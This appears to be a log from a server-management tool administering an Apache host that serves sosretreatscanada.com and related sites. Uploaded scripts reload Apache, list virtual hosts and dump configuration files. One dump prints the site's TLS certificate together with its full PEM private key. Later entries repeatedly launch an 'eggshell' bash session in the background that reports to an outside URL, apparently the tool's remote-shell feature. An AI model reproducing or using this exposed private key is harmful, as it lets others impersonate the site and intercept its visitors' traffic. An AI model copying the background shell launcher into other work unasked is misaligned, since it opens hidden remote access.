    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi


2026-02-04 06:01:24: 

chmod 755 /tmp/pkp663727; /tmp/pkp663727; rm /tmp/pkp663727

2026-02-04 06:01:24: 




2026-02-04 06:01:24: 

PUT: /tmp/pkp471845

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-04 06:01:24: 

chmod 755 /tmp/pkp471845; /tmp/pkp471845; rm /tmp/pkp471845

2026-02-04 06:01:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:01:24: Establishing a connection
2026-02-04 06:01:24: 

PUT: /tmp/pkp241392

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-04 06:01:25: 

chmod 755 /tmp/pkp241392; /tmp/pkp241392; rm /tmp/pkp241392

2026-02-04 06:01:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:01:25: 

PUT: /tmp/pkp853627

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:01:25: 

chmod 755 /tmp/pkp853627; /tmp/pkp853627; rm /tmp/pkp853627

2026-02-04 06:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf	1691

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-04 06:01:25: 

PUT: /tmp/pkp861560

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:01:25: 

chmod 755 /tmp/pkp861560; /tmp/pkp861560; rm /tmp/pkp861560

2026-02-04 06:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt	5531
70:c1:df:6b:3f:65:df:31:eb:aa:fa:75:b5:ff:6e:fe

-----BEGIN CERTIFICATE-----
MIIFgDCCBGigAwIBAgISBo7iWPB8bBH0Es9HiA72a7QQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA0MDUwMjUyWhcNMjYwNTA1MDUwMjUxWjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZScoRvpl6YpP8t9F6Y6UXVE0wTYutYm7mr6lZ0+9a3ctkCXRVyDQ/
emIncNFAAuPQfoUy9PWGrXPLMbPnAsdBtSn9BRswL4nzb0+kDCeTT+wC2ZzSIOlq
zv+lqMrSmBpPl30VUpzxCCCY1sWFCCU3uSOhFHcpXAtUV0sXc82jelYxEj2Z4gzX
ZhLhB3lTZtxRxEpL1161moj3b1YCtwwqITTfSRLxPGzb0h4UCYPYY92uSYcQVMnt
SiGP2sexx7J88hDUY1P4nUHo2xLQGrLX6qcNAM4is7xbIE/Ya9O5Q5kAohYbMR4c
vAzmAn0HU1KmVZmLQ0Ne4JRB/dGRu+6jAgMBAAGjggKfMIICmzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFHAMO5kwfDJoPRMh9QB2xiV/7jZ2MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTcuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGcJz25+QAABAMARzBFAiEA54Zf4AHIKwVMHSPKhn1TWfI4
HTOcxTurztYnYBubBEcCIBD8fhT5kVED+HH2yp0P8vv+kybjN4MaICrhGoZvVLMi
AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGcJz26eAAIAAAF
AAiSs8EEAwBHMEUCIAmBA3GF9Q1Wj86xb1YhbDb+3WYKkNRpA8BDp+3Ekh05AiEA
8jZ3CEcMHn1CAfepTBc64eDzUC8JKkHa/5eLOCj9b+8wDQYJKoZIhvcNAQELBQAD
ggEBAEdIfFfAt3Ugs2Z2cnWJBGn/2WuVj+db7UTlLfXyEGUN3IGcRVfxrhGYDqNt
M+Kp2i3X9WKFfgjdD+5wEITOMdS03jJ0eGAPCIAuT6nK/6HKCzBpyzUaVwOgvwLo
N7sXEcVCURkZhNMqWkqSLL+iYbNrYTbHSPmDSu5+3vs5Aw0/0IU0KDPinEc9OsBt
0GNK16cpNJwnW7pHX99S9jZMIxSGud3gyDj/WqFjV5pJFgyXsXSKQqsyx4XA+6O1
vN0SFx+12UaDVj0AOYZF+d6KMWk/Z+i8CKGEOzx4oDt+4SBivfeCcN9QVVJ8UglV
/XArTBjicnDjQTJyHjvrAANo0wM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZScoRvpl6YpP8
t9F6Y6UXVE0wTYutYm7mr6lZ0+9a3ctkCXRVyDQ/emIncNFAAuPQfoUy9PWGrXPL
MbPnAsdBtSn9BRswL4nzb0+kDCeTT+wC2ZzSIOlqzv+lqMrSmBpPl30VUpzxCCCY
1sWFCCU3uSOhFHcpXAtUV0sXc82jelYxEj2Z4gzXZhLhB3lTZtxRxEpL1161moj3
b1YCtwwqITTfSRLxPGzb0h4UCYPYY92uSYcQVMntSiGP2sexx7J88hDUY1P4nUHo
2xLQGrLX6qcNAM4is7xbIE/Ya9O5Q5kAohYbMR4cvAzmAn0HU1KmVZmLQ0Ne4JRB
/dGRu+6jAgMBAAECggEAMvqs/hzJxXz7W3+FFkHqqd6NfZez/anqexUbloey0I7Y
+U9+i+G84GfGP5qofWwwJuqINbxjHoXzdOjkXH66YSAwCbz49AUzSHoFJWf0oQtP
RBvqPyKZoQWP1T4U1/P3uFTCdA495A8UFsfM77lJghld0p0KmBmQTulsJMR2qrPK
YYXsDsk4QjoU4q+xR56ltAZcfrbKyRPSx9qXWZHps7t80/bMZ9orHimPN1z64aKW
hTOMKDnBdNFR/KVdZJB8qX/4XcWmkRB6oLWZDK0ec01RPC24/S/c2z7TX+vOhdZW
lPwsZcGx49fR4PwUN2KkAHU/kDqZkRZqdALc0FBKAQKBgQD1wAZicdQhUM54j0dC
tGZiUfxeAN+2RJI7BlSJzCAmjOgyQSb4WIshDPEoZLwKVRX+1RkEn63Rld+7dV4y
CCY5FNl9f3ThrxEqo64v9tsQQsRFJiN4X1KLI040DKxYHzp0SUDogSTq9cNUed/m
958VUAz7PeOiL5EIr+FMhhOvMwKBgQDiWd2LbX58QDn7Vrxq+l/jcdxtJAUV7f37
90Z/sLU1+D3LwCuwEDEdDSLNLaJqWg5Vhz2KPFdsxvyIgGQtEp+Wzz6jWkrPrZee
CxlG+RzRuftrETzh9/oy5dhCLUKSe9pRjC2989pB+lKqKD1npuYhlLsqVO38GGbL
mNDZ+IaC0QKBgA2XzoKZeztQhesjObTV16fukv/8GmOxjUkYg4qPsOOQ/bLx6Z7o
/uEYHyq1z7TemfXbgaPA1VN3b8Wlq00nKD4WCiWn7CYjkdaC8TqT8/AFUWflwSaC
V0V88XFtlgbVy1ztRFrX8dvRNjmw+BKFddYu9FjdRn8NFH+fgt3BuMsDAoGALSFz
3dfwD0ATD30ExmOzeLr8EzrKVMwGBxYPlWgbSW58i8J+M3WXBU7YMIa3ynK4Ru9X
ItfTKpomQeUvlBkRftVFjPZ00iGviFB4MsF6sIpficJ/HCMAXOOdEdzKWECfkADe
IfCcBOmvT8QEMkWBvxJTmyYh6VDINjH6+mrmDvECgYEArHZrLV8QLciyrrV0aPQz
HettdNROVhH3BIuLwBdHj5MHAy9JAG7B08VdqzKY9iPn/8lrN0AdP7V5z24CEFWT
34jdb71Or1x9Btn2ViplrpG8fXI+sldj1YWwn0UvI7kXmRKWaBFPbE9S9GBZEXng
4H1ppg0soTfeTnKNwVA7CBg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-04 06:01:25: Establishing a remote connection
2026-02-04 11:53:45: Establishing a connection
2026-02-04 11:53:58: Establishing a connection
2026-02-04 11:53:58: 

PUT: /tmp/pkp206548

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "6a96f60f-4aa9-425b-8593-9f7c93d7f4fd" -ro "4258a428-1491-4bc3-bf1e-d4a34bca922c" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "6a96f60f-4aa9-425b-8593-9f7c93d7f4fd" -ro "4258a428-1491-4bc3-bf1e-d4a34bca922c" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 11:53:58: 

chmod 755 /tmp/pkp206548; /tmp/pkp206548; rm /tmp/pkp206548

2026-02-04 11:53:58: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 6a96f60f-4aa9-425b-8593-9f7c93d7f4fd -ro 4258a428-1491-4bc3-bf1e-d4a34bca922c -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:25:58: Establishing a connection
2026-02-04 12:26:08: Establishing a connection
2026-02-04 12:26:08: 

PUT: /tmp/pkp405701

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "4de62c10-a5cc-493f-8c84-ce0deabf7106" -ro "e9746f85-d7fc-459b-b4aa-1c5203ea2a88" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "4de62c10-a5cc-493f-8c84-ce0deabf7106" -ro "e9746f85-d7fc-459b-b4aa-1c5203ea2a88" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:26:08: 

chmod 755 /tmp/pkp405701; /tmp/pkp405701; rm /tmp/pkp405701

2026-02-04 12:26:08: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 4de62c10-a5cc-493f-8c84-ce0deabf7106 -ro e9746f85-d7fc-459b-b4aa-1c5203ea2a88 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:29:26: Establishing a connection
2026-02-04 12:29:33: Establishing a connection
2026-02-04 12:29:33: 

PUT: /tmp/pkp508318

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "de8debaf-ba22-4c79-b3b2-7e54152fd8de" -ro "2080c99a-e95e-42bf-a696-587c18e983df" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "de8debaf-ba22-4c79-b3b2-7e54152fd8de" -ro "2080c99a-e95e-42bf-a696-587c18e983df" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:29:33: 

chmod 755 /tmp/pkp508318; /tmp/pkp508318; rm /tmp/pkp508318

2026-02-04 12:29:33: 


command launched: /usr/local/bin/eggshell -o -c bash -rw de8debaf-ba22-4c79-b3b2-7e54152fd8de -ro 2080c99a-e95e-42bf-a696-587c18e983df -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:33:30: Establishing a connection
2026-02-04 12:34:32: Establishing a connection
2026-02-04 12:34:40: Establishing a connection
2026-02-04 12:34:41: 

PUT: /tmp/pkp541591

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "395730a8-5a4a-45b5-a85c-589a55f9660a" -ro "d83e967d-3973-4be7-ac4a-c318b1a352bf" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "395730a8-5a4a-45b5-a85c-589a55f9660a" -ro "d83e967d-3973-4be7-ac4a-c318b1a352bf" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:34:42: 

chmod 755 /tmp/pkp541591; /tmp/pkp541591; rm /tmp/pkp541591

2026-02-04 12:34:43: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 395730a8-5a4a-45b5-a85c-589a55f9660a -ro d83e967d-3973-4be7-ac4a-c318b1a352bf -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:35:59: Establishing a connection
2026-02-04 12:37:32: Establishing a connection
2026-02-04 12:37:32: 

PUT: /tmp/pkp554315

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "c06c2360-bf71-4180-8880-6cb15eeafee7" -ro "7fdcd8c4-1959-4d00-897f-f4a9a49ccc9f" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "c06c2360-bf71-4180-8880-6cb15eeafee7" -ro "7fdcd8c4-1959-4d00-897f-f4a9a49ccc9f" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:37:32: 

chmod 755 /tmp/pkp554315; /tmp/pkp554315; rm /tmp/pkp554315

2026-02-04 12:37:32: 


command launched: /usr/local/bin/eggshell -o -c bash -rw c06c2360-bf71-4180-8880-6cb15eeafee7 -ro 7fdcd8c4-1959-4d00-897f-f4a9a49ccc9f -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:38:18: Establishing a connection
2026-02-04 12:39:15: Establishing a connection
2026-02-04 12:39:16: 

PUT: /tmp/pkp604867

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "60dadbd1-25ff-4b47-977f-4aa877f65932" -ro "ad54f256-7f47-4113-a372-cd5da2224109" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "60dadbd1-25ff-4b47-977f-4aa877f65932" -ro "ad54f256-7f47-4113-a372-cd5da2224109" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:39:17: 

chmod 755 /tmp/pkp604867; /tmp/pkp604867; rm /tmp/pkp604867

2026-02-04 12:39:17: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 60dadbd1-25ff-4b47-977f-4aa877f65932 -ro ad54f256-7f47-4113-a372-cd5da2224109 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:39:47: Establishing a connection
2026-02-04 12:40:26: Establishing a connection
2026-02-04 12:40:32: Establishing a connection
2026-02-04 12:40:33: 

PUT: /tmp/pkp958719

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "0051921a-c689-4677-afc0-240a45c63a53" -ro "e82f5d65-7be7-4a14-8557-e2826b4def79" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "0051921a-c689-4677-afc0-240a45c63a53" -ro "e82f5d65-7be7-4a14-8557-e2826b4def79" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:40:34: 

chmod 755 /tmp/pkp958719; /tmp/pkp958719; rm /tmp/pkp958719

2026-02-04 12:40:34: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 0051921a-c689-4677-afc0-240a45c63a53 -ro e82f5d65-7be7-4a14-8557-e2826b4def79 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:42:17: Establishing a connection
2026-02-04 12:42:25: Establishing a connection
2026-02-04 12:42:26: 

PUT: /tmp/pkp449074

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "e1efd0d7-2ba1-41ef-81f1-4e9cb1501108" -ro "39368993-5b94-4756-a01a-cd3c0c40e990" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "e1efd0d7-2ba1-41ef-81f1-4e9cb1501108" -ro "39368993-5b94-4756-a01a-cd3c0c40e990" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:42:27: 

chmod 755 /tmp/pkp449074; /tmp/pkp449074; rm /tmp/pkp449074

